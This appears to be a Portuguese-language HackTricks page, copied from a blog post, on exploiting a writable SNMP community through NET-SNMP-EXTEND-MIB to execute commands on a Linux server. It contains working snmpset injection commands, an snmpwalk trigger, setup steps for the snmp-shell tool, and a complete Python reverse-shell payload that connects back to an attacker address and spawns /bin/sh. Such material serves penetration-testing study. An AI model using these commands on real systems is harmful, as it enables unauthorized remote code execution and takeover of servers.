5.7 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Este post foi copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/
O SNMP é por vezes negligenciado pelo administrador do dispositivo ou servidor onde é deixado numa configuração padrão. A comunidade SNMP com permissões de escrita (rwcommunity) no sistema operacional Linux pode ser explorada para permitir que o atacante execute um comando no servidor.
Extendendo os Serviços
Embora você não possa modificar entradas existentes que foram configuradas no snmpd.conf, é possível adicionar comandos adicionais via SNMP, porque a configuração de permissão “MAX-ACCESS” na definição MIB está definida como “read-create”
Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela “nsExtendObjects”.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Injetando um comando para ser executado no serviço SNMP. NET-SNMP-EXTEND-MIB exige que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.
Executando o comando que injetamos no SNMP ao enumerá-lo usando snmpwalk
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Mostrando que o comando é /bin/echo.
O comando será executado quando for lido. run-on-read()
O comando /bin/echo "hello rio is here" foi executado durante nossa leitura snmpwalk
Obtendo o Shell do Net-SNMP Extend
Nesta seção, gostaria de discutir como obter um shell de servidor para controlar o servidor.
Você pode usar o script python desenvolvido por mxrch que pode ser baixado de https://github.com/mxrch/snmp-shell.git
Você pode instalar o pré-requisito para executar isso:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Criando shell reverso
Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
execute o snmpwalk para acionar a execução do comando
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
Nosso netcat recebe a conexão reverseshell da vítima que nos permite ganhar controle sobre a máquina da vítima
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>